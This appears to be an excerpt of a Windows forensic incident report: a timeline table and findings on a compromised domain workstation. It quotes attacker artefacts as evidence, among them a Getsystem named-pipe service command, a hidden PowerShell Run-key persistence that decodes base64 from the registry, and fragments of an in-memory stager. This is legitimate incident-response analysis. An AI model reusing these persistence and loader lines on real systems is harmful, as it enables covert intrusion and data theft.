2020-09-19 03:42:38	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified System\cmd.exe type=CopyPaste	wxtcmd/F/Users/Administrator/ AppData/Local/ ConnectedDevicesPlatform/ L.Administrator/ 20261025201827_Administrator_Activity.csv#15	F:\Users\Administrator\AppData\Local\ ConnectedDevicesPlatform\ L.Administrator\ActivitiesCache.db	F-027
2020-09-19 03:42:41	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: end ; Activity: last modified System\cmd.exe type=CopyPaste	wxtcmd/F/Users/Administrator/ AppData/Local/ ConnectedDevicesPlatform/ L.Administrator/ 20261025201827_Administrator_Activity.csv#16	F:\Users\Administrator\AppData\Local\ ConnectedDevicesPlatform\ L.Administrator\ActivitiesCache.db	F-027
2020-09-19 03:42:42.660809	Prefetch	Execution (Prefetch, last) SC.EXE runs=1 hash=6C4D4413 False	pecmd/prefetch_0.csv#125	F:\Windows\prefetch\SC.EXE-6C4D4413.pf	F-012, T-011
2020-09-19 03:42:42.676537	Event logs (EVTX)	EVTX event C:\Windows\System32\coreupdater.exe System 7045 | Service Control Manager | A new service was installed in the system | Name: coreupdater | StartType: auto start | Account: LocalSystem | C:\Windows\System32\coreupdater.exe	evtxecmd/evtxecmd_0.csv#40866	F:\Windows\System32\winevt\logs\ System.evtx	F-008, F-012, F-020, F-024, I-005, I-012, T-008, T-011
2020-09-19 03:42:42.676537	Registry: services	Service: key written C:\Windows\System32\coreupdater.exe coreupdater start=Automatic Win32OwnProcess	recmd_kroll/20261025191813/ recmd_kroll_F_Services.csv#115		F-020, I-012
2020-09-19 03:42:42.676537	Services (Dissect)	service: ts C:\Windows\System32\coreupdater.exe name=coreupdater | start=Auto Start (2) | type=Service - Own Process (0x10) | objectname=LocalSystem	dissect/services.jsonl#95		F-020
2020-09-19 03:43:12.368432	Registry (RECmd, complementary batch)	Registry: key last written ROOT\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Compatibility Assistant\Store Program Execution | AppCompatFlags Compatibility Assistant Store | C:\Windows\System32\coreupdater.exe=(Binary data)	recmd_complement/ recmd_complement_F.csv#16	F:\Users\Administrator\NTUSER.DAT	F-012
2020-09-19 03:43:14.990000	Detection Hayabusa	high Meterpreter or Cobalt Strike Getsystem Service Installation - System | {"Svc":"nehgye","Path":"cmd.exe /c echo nehgye > \\\\.\\pipe\\ nehgye","Acct":"LocalSystem","StartType":"demand start"} | {"ServiceType":"user mode service"}	hayabusa/hayabusa_0.jsonl#1342	F:\Windows\System32\winevt\logs\ System.evtx	F-009
2020-09-19 03:43:14.990879	Event logs (EVTX)	EVTX event cmd.exe /c echo nehgye > \\.\pipe\nehgye System 7045 | Service Control Manager | A new service was installed in the system | Name:	evtxecmd/evtxecmd_0.csv#40867	F:\Windows\System32\winevt\logs\ System.evtx	F-009, F-020, F-024, I-006, T-009

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		nehgye | StartType: demand start | Account: LocalSystem | cmd.exe /c echo nehgye > \\.\pipe\nehgye			
2020-09-19 03:43:14.990879	Detection Chainsaw	critical Meterpreter or Cobalt Strike Getsystem Service Installation | {"ServiceName":"nehgye","ImagePath":"cmd.exe /c echo nehgye > \\\\.\\pipe\\nehgye","StartType":"demand start","AccountName":"LocalSystem","ServiceType":"user mode service"}	chainsaw/chainsaw_0.jsonl#103	F:\Windows\System32\winevt\logs\System.evtx	F-009
2020-09-19 03:43:15.054907	Event logs (EVTX)	EVTX event System 7009 | Service Control Manager	evtxecmd/evtxecmd_0.csv#40868	F:\Windows\System32\winevt\logs\System.evtx	F-009
2020-09-19 03:44:03.540241	Run keys	run: ts Microsoft\Windows\CurrentVersion\Run name=coreupdate | command={"executable":"%COMSPEC%","args":["/b /c start /b /min powershell -nop -w hidden -c \"sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\\q9Z1bssi').GetValue('JqxNhWJA'))))\""]}	dissect/runkeys.jsonl#5	sysvol/windows/system32/config/SOFTWARE	F-003, F-010, F-019, I-011, I-016, T-017
2020-09-19 03:44:03.540241	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows\CurrentVersion\Run Autoruns | Run (SYSTEM) | coreupdate=%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c "sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA'))))"	recmd_kroll/recmd_kroll_F.csv#7223	F:\Windows\System32\config\SOFTWARE	F-019, I-011, I-017, T-017
2020-09-19 03:44:45.973107	Registry: BAM/DAM	Execution (BAM) \Device\HarddiskVolume3\Windows\System32\cmd.exe ROOT\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/20261025191813/recmd_kroll_F_BamDam.csv#41		F-012
2020-09-19 03:45:34	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified System\notepad.exe My Social Security Number.txt (Notepad) C:\Users\mortysmith\Documents\My Social Security Number.txt (file:Unmapped GUID: //C:/Users/mortysmith/Documents/My Scial Security Number.txt?VolumeId={26F70DB0-6894-4B1D-8F05-4CB89F106AC5}&ObjectId={DD6765CD-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8) type=ExecuteOpen	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#19	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db	F-026
2020-09-19 03:45:34	Windows Search (activity history)	Activity: start file:///C:/Users/mortysmith/Documents/My%20Social%20Security%20Number.txt?VolumeId={26F70DB0-6894-4B1D-8F05-4CB89F106AC5}&ObjectId={DD6765CD-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8 Notepad My Social Security Number.txt {1AC14E77-02E7-4E5D-B744-2EB1AE5198B7}\notepad.exe	sidr/DESKTOP-SDN1RPT_Activity_History_Report_20261025_191826.918732700.csv#30	F:\ProgramData\Microsoft\search\data\applications\windows\Windows.edb	F-026
2020-09-19 03:46:15	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Users\mortysmith\Documents\loot.zip machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=B0E0E8FF Fixed storage media (Hard drive) size=131041	lecmd/lnk_F.csv#12	F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\loot.lnk	F-013, I-008, T-013
2020-09-19 03:46:15.269625	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\My Social Security Number.zip FileCreate [Archive] entry=87445-3	mftecmd_usnjrnl/usnjrnl.csv#36753	F:\$Extend\$J	F-013, F-026, F-031, I-014, T-021
2020-09-19 03:46:18.069334	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip RenameNewName [Archive] entry=87470-2	mftecmd_usnjrnl/usnjrnl.csv#36776	F:\$Extend\$J	F-013, F-026, F-031, I-008, I-014, T-013, T-021
2020-09-19 03:46:18.129513	Registry: RecentDocs	Opened (RecentDocs) loot.zip lnk=loot.lnk mru=0 .zip	recmd_kroll/20261025191813/recmd_kroll_F_RecentDocs.csv#14		F-013, F-026
2020-09-19 03:46:18.129513	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip ObjectIdChange [Archive] entry=87470-2	mftecmd_usnjrnl/usnjrnl.csv#36778	F:\$Extend\$J	F-031, T-025
2020-09-19	$UsnJrnl:$J	USN $J	mftecmd_usnjrnl/usnjrnl.csv#36780	F:\$Extend\$J	F-031, T-025

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
03:46:18.129513		F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\loot.lnk FileCreate [Archive] entry=87445-4			
2020-09-19 03:47:09.917465	$UsnJrnl:$J	USN $J F:\Users\mortysmith\Documents\loot.zip FileDelete|Close [Archive] entry=87470-2	mftecmd_usnjrnl/usnjrnl.csv#36805	F:\$Extend\$J	F-013, F-026, F-030, F-031, T-013, T-021
2020-09-19 03:47:39	Windows Timeline (ActivitiesCache)	Activity: start ; Activity: last modified System\notepad.exe Thoughts.txt (Notepad) C:\Users\mortysmith\Desktop\Thoughts.txt (file:Unmapped GUID: //C:/Users/mortysmith/Desktop/Thoughs.txt?VolumeId={26F70DB0-6894-4B1D-8F05-4CB89F106AC5}&ObjectId={DD676585-F9F7-11EA-95EC-000C2914C295}&KnownFolderId=UserProfiles&KnownFolderLength=8) type=ExecuteOpen	wxtcmd/F/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/20261025201827_Administrator_Activity.csv#26	F:\Users\Administrator\AppData\Local\ConnectedDevicesPlatform\L.Administrator\ActivitiesCache.db	F-026
2020-09-19 03:47:39.785228	$MFT	$SI creation (B) ; $SI modification (M) ; $SI access (A) ; $SI MFT change (C) F:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Thoughts.lnk size=979	mftecmd_mft/mft.csv#114154	F:\$MFT	F-026
2020-09-19 03:47:48.926185	Registry: BAM/DAM	Execution (BAM) \Device\HarddiskVolume3\Windows\System32\notepad.exe ROOT\ControlSet001\Services\bam\State\UserSettings\S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/20261025191813/recmd_kroll_F_BamDam.csv#42		F-013
2020-09-19 03:52:13.468385	Event logs (EVTX)	EVTX event Security 4647 | Microsoft-Windows-Security-Auditing | User initiated logoff | LogonId: 0x857E73	evtxecmd/evtxecmd_0.csv#39812	F:\Windows\System32\winevt\logs\Security.evtx	F-006, F-023, T-018
2020-09-19 03:52:13.567580	Registry: ProfileList	Profile: key written ; Profile: last logoff C:\Users\Administrator S-1-5-21-2232410529-1445159330-2725690660-500	recmd_kroll/20261025191813/recmd_kroll_F_ProfileList.csv#6		F-001
2020-09-19 03:52:13.986302	Event logs (EVTX)	EVTX event Security 4634 | Microsoft-Windows-Security-Auditing | An account was logged off | Target: C137\Administrator | LogonType 3 | LogonId: 0x842184	evtxecmd/evtxecmd_0.csv#39819	F:\Windows\System32\winevt\logs\Security.evtx	T-018
2020-09-19 04:08:16.583483	Network flows (Suricata)	network flow: start 10.42.85.10 TCP 10.42.85.115:50957 -> 10.42.85.10:445 smb state=established bytes=15650/12757	suricata/case001.pcap/eve_flow.jsonl#27563	case001.pcap	F-025
2020-09-19 04:08:16.637781	Network events (Suricata)	network event smb TCP 10.42.85.115:50957 -> 10.42.85.10:445	suricata/case001.pcap/eve_smb.jsonl#241	case001.pcap	F-025
2020-09-19 04:08:45.483780	Network flows (Suricata)	network flow: start 203.78.103.109 TCP 10.42.85.115:50972 -> 203.78.103.109:443 failed state=established bytes=39409/488552	suricata/case001.pcap/eve_flow.jsonl#16628	case001.pcap	F-010, F-016, F-017, F-031, T-016
2020-09-19 04:08:45.783080	Detection Suricata	high ET MALWARE Possible Metasploit Payload Common Construct Bind_API (from server) | TCP 203.78.103.109:443 -> 10.42.85.115:50972 | A Network Trojan was detected | 1:shvkq1T5rI2BCKSFPByeBaHUCDE= | case001.pcap	suricata/case001.pcap/eve_alert.jsonl#455	case001.pcap	F-010, F-017
2020-09-19 04:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\coreupdater.exe foreground read/written=618496/12288 background read/written=0/0	srumecmd/20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#681	F:\Windows\System32\SRU\SRUDB.dat	F-012
2020-09-19 04:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\cmd.exe foreground read/written=484352/0 background read/written=0/0	srumecmd/20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#682	F:\Windows\System32\SRU\SRUDB.dat	F-012
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=333817 sent=222046 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#190	F:\Windows\System32\SRU\SRUDB.dat	F-014, F-015, F-031
2020-09-19 04:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) TermService received=1158782 sent=7120599 IF_TYPE_ETHERNET_CSMACD	srumecmd/20261025191812_SrumECmd_NetworkUsages_Output.csv#170	F:\Windows\System32\SRU\SRUDB.dat	F-031
2020-09-19 05:08:15.224593	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ricksanchez | LogonType 11 | LogonId: 0xB3CE02 | AuthenticationPackageName: Negotiate | LogonProcessName: User32 | C:\Windows\System32\svchost.exe | DESKTOP-SDN1RPT (127.0.0.1)	evtxecmd/evtxecmd_0.csv#39826	F:\Windows\System32\winevt\logs\Security.evtx	F-002, F-023, T-028

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
2020-09-19 05:08:15.224627	Event logs (EVTX)	EVTX event Security 4672 | Microsoft-Windows-Security-Auditing | Administrative logon | PrivilegeList: SeSecurityPrivilege, SeTakeOwnershipPrivilege, SeLoadDriverPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeDebugPrivilege, SeSystemEnvironmentPrivilege, SeImpersonatePrivilege, SeDelegateSessionUserImpersonatePrivilege | LogonId: 0xB3CE02	evtxecmd/evtxecmd_0.csv#39828	F:\Windows\System32\winevt\logs\ Security.evtx	F-023
2020-09-19 05:08:15.421429	Event logs (EVTX)	EVTX event C:\Windows\System32\lsass.exe Security 4624 | Microsoft-Windows-Security-Auditing | Successful logon | Target: C137\ ricksanchez | LogonType 7 | LogonId: 0xB3CE80 | AuthenticationPackageName: Negotiate | LogonProcessName: Negotiat | C:\Windows\System32\lsass.exe | DESKTOP-SDN1RPT (-)	evtxecmd/evtxecmd_0.csv#39830	F:\Windows\System32\winevt\logs\ Security.evtx	T-028
2020-09-19 05:08:37	Memory: process scan (psscan)	process created (memory, psscan) powershell.exe PID=508 | PPID=1380 | ImageFileName=powershell.exe | SessionId=2	volatility/ windows.psscan.PsScan.jsonl#101	C:\Sleuthline\cases\test04\memory\ DESKTOP-SDN1RPT.mem	F-010, T-028
2020-09-19 05:08:37.533172	Event logs (EVTX)	EVTX event q9Z1bssi').GetValue('JqxNhWJA'))))" Microsoft-Windows-Shell-Core/Operational 9707 | Microsoft-Windows-Shell-Core | Started execution of command | q9Z1bssi').GetValue('JqxNhWJA'))))"	evtxecmd/evtxecmd_0.csv#20011	F:\Windows\System32\winevt\logs\ Microsoft-Windows-Shell-Core %4Operational.evtx	F-019
2020-09-19 05:08:37.656394	Prefetch	Execution (Prefetch, previous) POWERSHELL.EXE runs=2 hash=CA1AE517 False	pecmd/prefetch_0.csv#92	F:\Windows\prefetch\ POWERSHELL.EXE-CA1AE517.pf	F-010
2020-09-19 05:08:37.674622	Event logs (EVTX)	EVTX event q9Z1bssi').GetValue('JqxNhWJA'))))" Microsoft-Windows-Shell-Core/Operational 9708 | Microsoft-Windows-Shell-Core | Finished execution of command | PID: 1380 | q9Z1bssi').GetValue('JqxNhWJA'))))"	evtxecmd/evtxecmd_0.csv#20012	F:\Windows\System32\winevt\logs\ Microsoft-Windows-Shell-Core %4Operational.evtx	F-019
2020-09-19 05:08:39.658503	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 40961 | Microsoft-Windows-PowerShell	evtxecmd/evtxecmd_0.csv#15073	F:\Windows\System32\winevt\logs\ Microsoft-Windows-PowerShell %4Operational.evtx	F-003
2020-09-19 05:08:40.484484	Event logs (EVTX)	EVTX event Windows PowerShell 600 | PowerShell | Provider is Started | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd/evtxecmd_0.csv#40903	F:\Windows\System32\winevt\logs\ Windows PowerShell.evtx	F-003, F-010, F-019, I-007, I-016, I-017, T-010
2020-09-19 05:08:40.797308	Event logs (EVTX)	EVTX event Windows PowerShell 400 | PowerShell | Engine state is changed from None to Available | HostApplication=powershell -nop -w hidden -c sleep 0; iex([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) | HostName=ConsoleHost | HostVersion=5.1.19041.1	evtxecmd/evtxecmd_0.csv#40909	F:\Windows\System32\winevt\logs\ Windows PowerShell.evtx	F-019
2020-09-19 05:08:42.966250	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: if([IntPtr]::Size -eq 4){$b=$env:windir+'\ sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object	evtxecmd/evtxecmd_0.csv#15076	F:\Windows\System32\winevt\logs\ Microsoft-Windows-PowerShell %4Operational.evtx	F-003, F-010
2020-09-19 05:08:43	Memory: process scan (psscan)	process created (memory, psscan) powershell.exe PID=3316 | PPID=508 | ImageFileName=powershell.exe | SessionId=2	volatility/ windows.psscan.PsScan.jsonl#13	C:\Sleuthline\cases\test04\memory\ DESKTOP-SDN1RPT.mem	F-010, T-010, T-028
2020-09-19 05:08:43	Memory: process list (pslist)	process created (memory, pslist) powershell.exe PID=3316 | PPID=508 | ImageFileName=powershell.exe | SessionId=2 | Threads=11	volatility/ windows.pslist.PsList.jsonl#81	C:\Sleuthline\cases\test04\memory\ DESKTOP-SDN1RPT.mem	F-016
2020-09-19 05:08:44.088879	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains	evtxecmd/evtxecmd_0.csv#15080	F:\Windows\System32\winevt\logs\ Microsoft-Windows-PowerShell	F-010

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
		contents of scripts run | Path: | ScriptBlockText: &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String('H4sIAHNwZV8CA7VWe2+bSBD/ O5HyHVBlCVAcG7tOm4tU6RYMMT47NcWv2LUqDGvYenkUltik1+9+szak6		%4Operational.evtx	
2020-09-19 05:08:44.732435	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: function pLBA {, Param ($kuL, $fc), $wk = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods'), return $wk.GetMethod('GetProc	evtxecmd/evtxecmd_0.csv#15081	F:\Windows\System32\winevt\logs\ Microsoft-Windows-PowerShell %4Operational.evtx	F-010, T-010
2020-09-19 05:08:58.344277	Registry: USB	USB: last connected USB Mass Storage Device serial=4C530000261130109435 Cruzer Glide 3.0	recmd_kroll/20261025191813/ recmd_kroll_F_USB.csv#4		F-002, F-028
2020-09-19 05:08:58.406346	Registry: USBSTOR	USBSTOR: key written ; USBSTOR: installed ; USBSTOR: first installed (property 0064) ; USBSTOR: last connected (property 0066) Ven_SanDisk Prod_Cruzer_Glide_3.0 Rev_1.00 serial=4C530000261130109435&0 SanDisk Cruzer Glide 3.0 USB Device disk={ce43e459-fa16-11ea-95ef-000c2914c295}	recmd_kroll/20261025191813/ recmd_kroll_F_USBSTOR.csv#1		F-002, T-003
2020-09-19 05:08:58.625064	Registry: VolumeInfoCache	Volume seen (VolumeInfoCache) DriveName=E: | VolumeLabel=Incident_drive | DriveType=Fixed	recmd_kroll/20261025191813/ recmd_kroll_F_VolumeInfoCache.csv#2		F-002
2020-09-19 05:08:59.765675	Registry: portable devices (WPD)	Portable device: key written Incident_drive DISK&VEN_SANDISK&PROD_CRUZER_GLIDE_3.0&REV_1.00 serial=4C530000261130109435&0	recmd_kroll/20261025191813/ recmd_kroll_F_WindowsPortableDevices.csv#1		F-002
2020-09-19 05:09:09.150531	Prefetch	Execution (Prefetch, last) SNIPPINGTOOL.EXE runs=1 hash=B23F9DB3 False	pecmd/prefetch_0.csv#141	F:\Windows\prefetch\ SNIPPINGTOOL.EXE-B23F9DB3.pf	F-002
2020-09-19 05:09:13.183384	Prefetch	Execution (Prefetch, last) MSINFO32.EXE runs=1 hash=C3C668DA False	pecmd/prefetch_0.csv#73	F:\Windows\prefetch\MSINFO32.EXE-C3C668DA.pf	F-002
2020-09-19 05:09:56.191578	Prefetch	Execution (Prefetch, last) FTK IMAGER.EXE runs=1 hash=E67CC266 False	pecmd/prefetch_0.csv#54	F:\Windows\prefetch\FTK IMAGER.EXE-E67CC266.pf	F-002, T-003
2020-09-19 05:09:56.191578	Amcache (files)	Amcache: file key written (≈ first execution / presence) e:\ftk imager\ftk imager.exe FTK Imager.exe SHA1=32756b3a319340c4b7fead410d3f36e503b30da2 accessdata® ftk® imager 4.2.1.4 compiled=2018-04-02 18:04:48.0000000 app=Unassociated	amcacheparser/ 20261025201808_Amcache_UnassociatedFileEntries.csv#6	F:\Windows\AppCompat\Programs\ Amcache.hve	F-002
2020-09-19 05:13:18	LNK files	Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) E:\DESKTOP-SDN1RPT\Protected Files machine=desktop-sdn1rpt MAC=00:0c:29:14:c2:95 volume=A6125E71 Removable storage media (Floppy, USB) size=0	lecmd/lnk_F.csv#26	F:\Users\ricksanchez\AppData\ Roaming\Microsoft\Windows\Recent\ Protected Files.lnk	F-028
2020-09-19 05:13:21.865279	Registry: RecentDocs	Opened (RecentDocs) ; Last opened for the extension Incident_drive (E:) lnk=Incident_drive (E).lnk mru=0 RecentDocs	recmd_kroll/20261025191813/ recmd_kroll_F_RecentDocs.csv#44		F-028
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\coreupdater.exe received=170146 sent=26570 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261025191812_SrumECmd_NetworkUsages_Output.csv#193	F:\Windows\System32\SRU\SRUDB.dat	F-014, F-015, T-027
2020-09-19 05:14:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume3\windows\system32\windowspowershell\v1.0\powershell.exe received=178042 sent=15721 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261025191812_SrumECmd_NetworkUsages_Output.csv#206	F:\Windows\System32\SRU\SRUDB.dat	F-014, F-016
2020-09-19 05:14:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe foreground read/written=1085952/40960 background read/written=0/0	srumecmd/ 20261025191812_SrumECmd_AppResourceUseInfo_Output.csv#761	F:\Windows\System32\SRU\SRUDB.dat	F-014

4. Detailed findings

4.1 System context and scope

Host DESKTOP-SDN1RPT (setup name WIN-2IH1TBB9I4Q), Windows 10 Enterprise Evaluation build 19041 x64, VMware VM, installed 2020-09-18 05:47:03 UTC, TZ Pacific (ActiveTimeBias 420, UTC-7). Joined to domain C137.local at ~21:42 UTC 2020-09-18; static IP 10.42.85.115, DNS/DC 10.42.85.10. Accounts: local Admin (RID 1001, Administrators), domain users ricksanchez (-1106), mortysmith (-1108), domain Administrator (-500, RDP logon type 10 from 10.42.85.10 at 2020-09-19 03:36:24 — to be investigated). Last boot 2020-09-19 01:24:04. Responder acquisition from 05:08:58 (SanDisk USB "Incident_drive" E:, FTK Imager 4.2.1.4 at 05:09:56, memory image SystemTime 05:10:39); pcap covers 2020-09-18 21:58 → 2020-09-19 05:38. Early lead: HKLM Run "coreupdate" (hidden PowerShell executing base64 from HKLM\Software\q9Z1bssi\JqxNhWJA, written 03:44:03) that fired at 05:08:37 — not collection. Findings F-001..F-005 (system description, collection context, telemetry limitations, 4616 clock changes, empty parser outputs) and timeline T-001..T-003 recorded.

F-004: Timeline anomaly: system clock changes (Security 4616) on 2020-09-18

Severity	**Low**
Confidence	confirmed
Independent sources	evtx:security.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-18 04:58:02.307663 → 2020-09-19 01:54:37.447633

Observed facts

Security 4616 by svchost.exe (LogonId 0x3E5, LOCAL SERVICE / W32Time-type adjustment): at 2020-09-18 04:58:02 PreviousTime 05:58:01.92 → NewTime 04:58:02.31 (clock set back 1 h); at 2020-09-18 22:43:05 PreviousTime 21:43:05.93 → NewTime 22:43:05.14 (clock set forward 1 h, shortly after domain join at 21:42). Other 4616 events are sub-second adjustments (04:58:40, 22:56:15, 23:10:08, 2020-09-19 01:54:37, 03:13:28). Events labelled with Computer DESKTOP-SDN1RPT at 2020-09-18 04:58 precede the OS setup boot at 05:41 under WIN-2IH1TBB9I4Q.

Analysis

Most likely time-synchronisation corrections (VM/template clock, then domain time from the DC after the join), not attacker timestomping (executed by svchost under LocalService). Consequence: timestamps before 2020-09-18 22:43:05 may be offset by up to one hour relative to real time; the attack window (after 22:43) is not affected.

Evidence (3)

UTC	Artifact	Detail	Reference	Original source
2020-09-18 04:58:02.307663	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-18 05:58:01.9239364 | NewTime: 2020-09-18 04:58:02.3055654 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#38143	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-18 22:43:05.144373	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-18 21:43:05.9283863 | NewTime: 2020-09-18 22:43:05.1440626 | LogonId: 0x3E5 | C:\Windows\System32\svchost.exe	evtxecmd/ evtxecmd_0.csv#38518	F:\Windows\System32\winevt\logs\Security.evtx
2020-09-19 01:54:37.447633	Event logs (EVTX)	EVTX event C:\Windows\System32\svchost.exe Security 4616 | Microsoft-Windows-Security-Auditing | The system time was changed | PreviousTime: 2020-09-19 01:54:37.4418021 | NewTime: 2020-09-19 01:54:37.4469563 | LogonId: 0x3E5 | C:\Windows\	evtxecmd/ evtxecmd_0.csv#39495	F:\Windows\System32\winevt\logs\Security.evtx

UTC	Artifact	Detail	Reference	Original source
		System32\svchost.exe		

F-003: Scope limitation: no process-creation telemetry outside boot (no Sysmon, 4688 only at boot), PowerShell logs only cover 2020-09-19 05:08

Severity	**Low**
Confidence	confirmed
Independent sources	artifact:raw.prefetch_timeline artifact:run keys evtx:microsoft-windows-powershell%4operational.evtx evtx:windows powershell.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2020-09-19 03:44:03.540241 → 2020-09-19 05:08:42.966250

Observed facts

No Microsoft-Windows-Sysmon/Operational channel is present in raw.evtx. Security 4688 (78 events) only exists in the boot windows (2020-09-18 05:4x, 21:4x, 22:xx, 2020-09-19 01:24; last 4688 at 2020-09-19 01:24:08.2255671), i.e. process-creation auditing is not effective during the user sessions. Microsoft-Windows-PowerShell/Operational (9 events: 40961/53504/40962/4104) and Windows PowerShell (600/400/403, 15 events) only contain events between 2020-09-19 05:08:37 and 05:08:44, triggered at ricksanchez's logon. No 1102/104 log-clear events were found. HKLM Run value "coreupdate" (%COMSPEC% /b /c start /b /min powershell -nop -w hidden -c iex(... FromBase64String((Get-Item 'HKLM:Software\q9Z1bssi').GetValue('JqxNhWJA')))) last written 2020-09-19 03:44:03 explains the cmd.exe/powershell.exe executions at 05:08:37–05:08:43 (Prefetch) — these are NOT collection activity.

Analysis

Execution reconstruction for the attack window must rely on Prefetch, Amcache, BAM, SRUM, ShimCache, memory (pslist/cmdline) and the network capture. The PowerShell logs only capture the payload launched by the "coreupdate" Run key at logon (a fileless persistence to be analysed in the persistence/execution steps); the absence of earlier PowerShell events may be due to the absence of PowerShell use before 05:08 through a logged host, to the log configuration, or to log rollover — undetermined at this stage (no clearing event observed).

Evidence (6)

UTC	Artifact	Detail	Reference	Original source
2020-09-19 05:08:39.658503	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 40961 | Microsoft-Windows-PowerShell	evtxecmd/ evtxecmd_0.csv#15073	F:\Windows\System32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
2020-09-19 05:08:42.966250	Event logs (EVTX)	EVTX event Microsoft-Windows-PowerShell/Operational 4104 | Microsoft-Windows-PowerShell | Contains contents of scripts run | Path: | ScriptBlockText: if([IntPtr]::Size -eq 4) {$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\ powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b; $s.Arguments='-noni -nop -w	evtxecmd/ evtxecmd_0.csv#15076	F:\Windows\System32\ winevt\logs\Microsoft-Windows-PowerShell %4Operational.evtx
